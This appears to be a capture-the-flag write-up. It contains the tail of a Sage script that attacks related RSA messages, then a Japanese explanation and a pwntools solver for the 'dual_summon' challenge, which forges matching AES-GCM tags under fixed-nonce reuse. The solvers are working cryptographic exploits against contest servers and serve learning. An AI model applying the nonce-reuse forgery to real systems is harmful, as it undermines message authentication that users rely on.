encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"
def main():
for bit in tqdm(range(2**10)):
ls = []
for b in range(10):
if (bit >> b) & 1 == 0:
ls.append(0)
else:
ls.append(-1)
d = sum([ls[i] * (256 ** i) for i in range(10)])
d *= 26
d += 61631512372510506945805 ## 13 (1 + ... + 256^9)
PR.<x> = PolynomialRing(Zmod(n))
f = x^e - c1
g = (x+d)^e - c2
h = pgcd(f, g)
m1 = -h.monic()[0]
key = long_to_bytes(int(m1))
if all(97 <= k < 123 for k in key):
print(f'Found: {key}')
key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print("flag = ", cipher.decrypt(encyprted_flag))
if __name__ == '__main__':
main()
dual_summon
author:kurenaif
You are a beginner summoner. It's finally time to learn dual summon
nc dual-summon.seccon.games 2222
dual_summon.tar.gz ae5942284a541396737f926dc3d83705ee452753
二種類の鍵で AES (GCM モード) によって生成されたタグだけもらえるので,そこからこの二種類の鍵に対して,同じ平文を入力したときに,同じタグを生成するような平文を探す問題.
今回は 16 バイト (1 ブロック) の平文しか受け付けず,Auth Data も無いので,AES の GCM モードを雑に描くとこんな感じ
- $E_K$: 鍵 $K$ を使ったブロック暗号
- $H = E_K (0^{128})$ (128 ビットの 0 を暗号化したもの)
- $H_0 = E_k(n)$
- $H_1 = E_k(n+1)$
- $L = len_{64}(A) || len_{64}(C)$
($A$ は Auth Data, $C$ は暗号文なので,今回は鍵に関係なく常に固定の値) - これらの計算は,多項式 $x^{128} + x^7 + x^2 + x + 1$ で定義した有限体 $FG(2^{128})$ 上で行う
今回の AES GCM のタグ生成は,
$T = (p + H_1) H^2 + LH + H_0$
と表すことができる.
$H, H_0, H_1$ は nonce が固定のため,key が同じであれば常に同じになる.
よって,同じ鍵に対して平文 $p, p'$ を与えたときのタグ $T, T'$ は
$T = (p + H_1) H^2 + LH + H_0$
$T' = (p' + H_1) H^2 + LH + H_0$
となり,これらを足し合わせると,
\displaylines{
\begin{align*}
T + T' &= (p + H_1) H^2 + LH + H_0 + (p' + H_1) H^2 + LH + H_0 \\
&= (p + H_1) H^2 + (p' + H_1) H^2 \\
&= (p + H_1 + p' + H_1) H^2 \\
&= (p + p') H^2
\end{align*}
}
となるので,$H^2$ は
$H^2 = (T + T') / (p + p')$
で求まる.
二種類の鍵を $k_a, k_b$ とする.
一つの平文 $p$ に対する $k_a, k_b$ を使ったタグを $T_a, T_b$ とすると
$T_a = (p + H_{a, 1}) H_a^2 + LH_a + H_{a, 0}$
$T_b = (p + H_{b, 1}) H_b^2 + LH_b + H_{b, 0}$
で,この $T_a, T_b$ が $T_a = T_b$ となるようにしたい.
それぞれの式を展開すると
$T_a = P H_a^2 + H_{a, 1} H_a^2 + L H_a + H_{a, 0}$
$T_b = P H_b^2 + H_{b, 1} H_b^2 + L H_b + H_{b, 0}$
となるが,後ろ二項は平文 $0$ に対するタグ $T'_a, T'_b$ に相当する.
($T' = (0 + H_1) H^2 + LH + H_0 = H_1 H^2 + LH + H_0$)
よって,これら二式と $T'_a, T'_b$ を使うと
$p = (T'_a + T'_b) / (H_a^2 + H_b^2)$
となるので,この $p$ で同一タグを生成できる.
from pwn import *
from Crypto.Util.number import *
x = GF(2).polynomial_ring().gen()
F.<a> = GF(2**128, modulus=x**128 + x**7 + x**2 + x + 1)
PR.<x> = PolynomialRing(F)
def main():
io = remote('dual-summon.seccon.games', '2222')
h2s = []
for i in range(2):
t1 = summon(io, i, b'\x00' * 16)
t2 = summon(io, i, b'\x01' * 16)
t1_poly = to_poly(t1)
t2_poly = to_poly(t2)
x = to_poly(b'\x01' * 16)
tx = t1_poly + t2_poly
h2_poly = tx / x
h2 = to_bytes(h2_poly)
h2s.append(h2)
if i == 0:
ta = t1
else:
tb = t1
ha2, hb2 = h2s
ta_poly = to_poly(ta)
ha2_poly = to_poly(ha2)
tb_poly = to_poly(tb)
hb2_poly = to_poly(hb2)
p_poly = (ta_poly + tb_poly) / (ha2_poly + hb2_poly)
p = to_bytes(p_poly)
dual_summon(io, p)
def to_poly(x):
bs = Integer(int.from_bytes(x, 'big')).bits()[::-1]
return F([0] * (128 - len(bs)) + bs)
def to_bytes(poly):
return int(bin(poly.integer_representation())[2:].zfill(128)[::-1], 2).to_bytes(16, 'big')
def summon(io, num, name):
io.sendlineafter(b'[1] summon, [2] dual summon >', b'1')
io.sendlineafter(b'summon number (1 or 2) >', str(num + 1).encode())
io.sendlineafter(b'name of sacrifice (hex) >', name.hex().encode())
io.recvuntil(b'tag(hex) = ')
return bytes.fromhex(io.recvline().decode())
def dual_summon(io, name):
io.sendlineafter(b'[1] summon, [2] dual summon >', b'2')
io.sendlineafter(b'name of sacrifice (hex) >', name.hex().encode())
print(io.recvline())
print(io.recvline())
if __name__ == '__main__':
main()